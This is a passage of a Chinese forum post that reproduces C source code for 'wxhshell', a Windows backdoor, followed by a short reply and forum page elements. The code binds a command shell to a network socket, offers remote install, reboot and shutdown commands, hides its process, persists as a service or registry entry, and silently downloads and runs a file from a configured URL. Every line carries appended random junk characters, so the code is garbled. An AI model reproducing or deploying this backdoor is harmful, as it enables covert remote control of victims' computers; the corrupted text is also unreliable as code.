  if(DownloadFile(cmd,wsh)) 2!{_/@I\Y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0NL :z1N-h  
  else >vD['XN,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E6'8Zb  
  } |`_ <@b  
  else { %PQldPL8  
u;+%Qh  
    switch(cmd[0]) { [<D+p qh  
  $:f.Krj  
  // 帮助 tk`: CT *  
  case '?': { 84[|qB,ML  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 457fT|  
    break; tXf}jU}  
  } 2j8Cv:{Nn%  
  // 安装 vQ:x% =]  
  case 'i': { 'v'` F*6  
    if(Install()) 8l U;y)Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -d|BO[4j  
    else 5wzQ?07T_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F3r S6_  
    break; ojN`#%X  
    } ?@Z7O.u  
  // 卸载 <KHv|)ak  
  case 'r': { #'J~Xk   
    if(Uninstall()) Qy{NS.T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wD<vg3e[H  
    else ]~?S~l%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5"1!p3`\D{  
    break; /yx=7<  
    } CCuxC9i7  
  // 显示 wxhshell 所在路径 8_"3Yb`f  
  case 'p': { 'is,^q:@  
    char svExeFile[MAX_PATH]; J*}VV9H  
    strcpy(svExeFile,"\n\r"); i'Y-V]->  
      strcat(svExeFile,ExeFile); <8iYL`3  
        send(wsh,svExeFile,strlen(svExeFile),0); g/OI|1a  
    break; ISpeV  
    } e ZynF<i  
  // 重启 :6 Uk)   
  case 'b': { ! (B_EM  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); P7}t lHX  
    if(Boot(REBOOT)) AU0$A403  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZvUp#8x(3  
    else { P-[fHCg~  
    closesocket(wsh); | d~B]65t  
    ExitThread(0); d>YmKTk"  
    } G{ F6  
    break; &\&'L|0F  
    } GMEw  
  // 关机 NV&;e[z  
  case 'd': { U^B"|lc:[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); K{|w 43>D  
    if(Boot(SHUTDOWN)) |)^clkuGX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :L]-'\y  
    else { / pO{2[  
    closesocket(wsh); K1;z Mh  
    ExitThread(0); |$M@09,F"  
    } !-KCFMvT  
    break; '!pAnsXfO  
    } vkd *ER^  
  // 获取shell M,&tA1CH  
  case 's': { ; Zh9^0  
    CmdShell(wsh); buRhQ"  
    closesocket(wsh); :[ L{KFQU  
    ExitThread(0); ~@xT]D!BQ  
    break; S2Zx &D/_  
  } !)NYW4"  
  // 退出 j -#E?&2  
  case 'x': { vZ:G8K)o(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w-J"zC  
    CloseIt(wsh); : @s8?eg  
    break; +:}kZDl@ X  
    } T:c7@^=  
  // 离开 YQN.Ohtv*F  
  case 'q': { Z#CxQ D%\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3b#L17D3_  
    closesocket(wsh); j0AwL7  
    WSACleanup(); 7`Qde!+C  
    exit(1); >+L7k^[,0  
    break; |Es0[cU  
        } U> W|(Y  
  } (viWY  
  } =ntft SH  
j(&GVy^;?  
  // 提示信息 5n:nZ_D  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !zU/Hq{wcK  
} xf'LR[M  
  } miwf&b  
9p5= _  
  return; yGRR8F5>(  
} P%iP:16  
:*=Ns[Y  
// shell模块句柄 iM8sX B  
int CmdShell(SOCKET sock) Hyf"iYv+  
{ {JXf*IJ  
STARTUPINFO si; kl=xu3j  
ZeroMemory(&si,sizeof(si)); b,9@P&=:2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2v4W6R  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; SBC~QD>L+  
PROCESS_INFORMATION ProcessInfo; ?fB5t;~E  
char cmdline[]="cmd"; K6-6{vt  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); FzVZs# O  
  return 0; lBS"3s384  
} \]t]#D>0  
5~QhX22  
// 自身启动模式 ;r3}g"D@  
int StartFromService(void) )Q~C4C-j  
{ xF&6e&nv  
typedef struct ]}.0el{  
{ w:v=se"U  
  DWORD ExitStatus; f#1/}Hq/I  
  DWORD PebBaseAddress; {y1q7Z.M  
  DWORD AffinityMask; ti}f&w ICJ  
  DWORD BasePriority; Zgy7!AF!  
  ULONG UniqueProcessId; XJc ,uj7  
  ULONG InheritedFromUniqueProcessId; P`tyBe#=  
}   PROCESS_BASIC_INFORMATION; \Fq1^ 8qa  
hv3;irK]&  
PROCNTQSIP NtQueryInformationProcess; 9YAM#LBTWi  
*-6?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; iM"asEU  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; v_.HGG S  
Cpe#[mE  
  HANDLE             hProcess; +N7"EROc  
  PROCESS_BASIC_INFORMATION pbi; w\Iqzpikr  
z4bN)W )p  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  ![ a  
  if(NULL == hInst ) return 0; dIvy!d2l  
RJ@\W=aZ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); o OQ'*7_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); vmLpm xS  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fa4=h;>a+  
qIz}$%!A  
  if (!NtQueryInformationProcess) return 0; S#mK Pi+3  
f\ 'T_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); i@XB&;*c\  
  if(!hProcess) return 0; &~'S)Nun  
i*'Z3Z)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;?zF6zvQ  
VNO'="U  
  CloseHandle(hProcess); \X5 3|Y;=  
';Nu&D#Ph  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _W}(!TKO  
if(hProcess==NULL) return 0; ^zg acn  
?,>5[Ha^?  
HMODULE hMod; 8TW5(fl  
char procName[255]; zSKKr?{  
unsigned long cbNeeded; GB =bG%Tb  
bJwc1AJgH  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `0rRKlbj4  
hXc}r6<B  
  CloseHandle(hProcess); AX;c}0g  
'$?du~L-  
if(strstr(procName,"services")) return 1; // 以服务启动 'AWp6L@  
eIJ[0c b}  
  return 0; // 注册表启动 |kc@L`7s  
} Y.NE^Vn0  
6A?8tm/0  
// 主模块 $it@>L8  
int StartWxhshell(LPSTR lpCmdLine) lov%V*tL  
{ x9&p!&*&IT  
  SOCKET wsl; r%|A$=[Q  
BOOL val=TRUE; xG1?F_]  
  int port=0; I|T7+{5z  
  struct sockaddr_in door; M$H`^Pv  
cJ2PI  
  if(wscfg.ws_autoins) Install(); jM@?<1  
V'I T1~  
port=atoi(lpCmdLine); !3V{2-y$-  
l|q%%W0  
if(port<=0) port=wscfg.ws_port; 7h`^N5H.q  
H99xZxHZ{  
  WSADATA data; L#2ZMy  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Z9VR]cf?  
[~)x<=H8{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   M*(H)i;s:w  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \7 Gz\=\LR  
  door.sin_family = AF_INET; 1O0X-C,wo$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8#l+{`$z  
  door.sin_port = htons(port); ' %&z.{  
@vt$MiOi  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~j"3}wXc5  
closesocket(wsl); ,56;4)cv  
return 1; WqQU@sA  
} $UC{"0  
X3yS5wh d(  
  if(listen(wsl,2) == INVALID_SOCKET) { ke]Yfwk  
closesocket(wsl); G?ig1PB"#  
return 1; wDKELQ(y H  
} >vAN(3Idu  
  Wxhshell(wsl); 0X>T+A[E  
  WSACleanup(); ~b6GrY"vB  
? |VysJ  
return 0; S/7l/DFb  
pV=@sz,G  
} 0>FE%  
RX>2~^  
// 以NT服务方式启动 &a6,ln:P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?Oc -aa  
{ RG1\=J$:E  
DWORD   status = 0; X!c?CL  
  DWORD   specificError = 0xfffffff; yb?|Eww_o  
l'uOORI  
  serviceStatus.dwServiceType     = SERVICE_WIN32; V:Mk)8Gf|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `tVy_/3(9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; UP8{5fx'  
  serviceStatus.dwWin32ExitCode     = 0; U=QA  e  
  serviceStatus.dwServiceSpecificExitCode = 0; l9J*um-  
  serviceStatus.dwCheckPoint       = 0; #U"1 9@|}  
  serviceStatus.dwWaitHint       = 0; NzlAC  
hZU 1O  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); kceyuD$3G  
  if (hServiceStatusHandle==0) return; ]r959+\$  
8UM0vNk  
status = GetLastError(); n NQ-"t  
  if (status!=NO_ERROR) ShGp^xVj  
{ oY.\)eJ~>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]0-<>  
    serviceStatus.dwCheckPoint       = 0; vQHpf>o  
    serviceStatus.dwWaitHint       = 0; {SdO9Yy?@7  
    serviceStatus.dwWin32ExitCode     = status; FmD +8=  
    serviceStatus.dwServiceSpecificExitCode = specificError; VB"(9O]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5v|EAjB6o  
    return; a g;dc  
  } FN\GE\H  
GTAf   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (a#pvEY  
  serviceStatus.dwCheckPoint       = 0; 0Oap39  
  serviceStatus.dwWaitHint       = 0; Y;_T=  L  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -Qb0:]sV#  
} =/}X$,@2  
5@f5S0 Y  
// 处理NT服务事件,比如:启动、停止 I`^YAbnb  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }-nU3{1  
{ H~Uq?!=b  
switch(fdwControl) :1_mfX  
{ +t"j-}xzE  
case SERVICE_CONTROL_STOP: g>n0z5&TNF  
  serviceStatus.dwWin32ExitCode = 0; A[JM4x   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >rf5)Y~f  
  serviceStatus.dwCheckPoint   = 0; GFL-.? 0  
  serviceStatus.dwWaitHint     = 0; %l|\of7P2}  
  { ,YB1 y)x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |^Kjz{  
  } 7I >J$"  
  return; @i1q]0  
case SERVICE_CONTROL_PAUSE: gtYRV*^q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "8/dD]=f^a  
  break; m~>@BCn;  
case SERVICE_CONTROL_CONTINUE: U^?= 0+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; J?D\$u:  
  break; 1;&T^Gdj  
case SERVICE_CONTROL_INTERROGATE: nk/vGa4  
  break; |GuEGmR  
}; (/?R9T[V&^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S#2[%o  
} 2w4MJ,Uw  
Dbz]{_Y;  
// 标准应用程序主函数 0roCP=;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) QO,+ps<  
{ fj+O'X  
!^v\^Fc  
// 获取操作系统版本 a.,_4;'UE1  
OsIsNt=GetOsVer(); 'n4u-pM(nB  
GetModuleFileName(NULL,ExeFile,MAX_PATH); I7G,`h+H  
xZ+]QDKC  
  // 从命令行安装 @O/,a7Tt  
  if(strpbrk(lpCmdLine,"iI")) Install(); T|bZ9_?+2  
l &Z(K,6  
  // 下载执行文件 C*rd;+1A  
if(wscfg.ws_downexe) { <[hz?:G"$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ea~i-7  
  WinExec(wscfg.ws_filenam,SW_HIDE); XA3s],Rk  
} [hnK/4!  
r\xXU~$9v  
if(!OsIsNt) { KY+]RxX  
// 如果时win9x,隐藏进程并且设置为注册表启动 o0`q#>7!_b  
HideProc(); j04/[V)  
StartWxhshell(lpCmdLine); x+:zq<0|  
} LdEE+"Jw  
else #U@| J}a  
  if(StartFromService()) t?3BCm$Mi  
  // 以服务方式启动 ?D=8{!R3  
  StartServiceCtrlDispatcher(DispatchTable); qd(hQsfqYU  
else |M E{gy`5  
  // 普通方式启动 8*Zvr&B,G  
  StartWxhshell(lpCmdLine); dtTlIhh1V  
~6d5zI4\  
return 0; plXG[1;&G  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五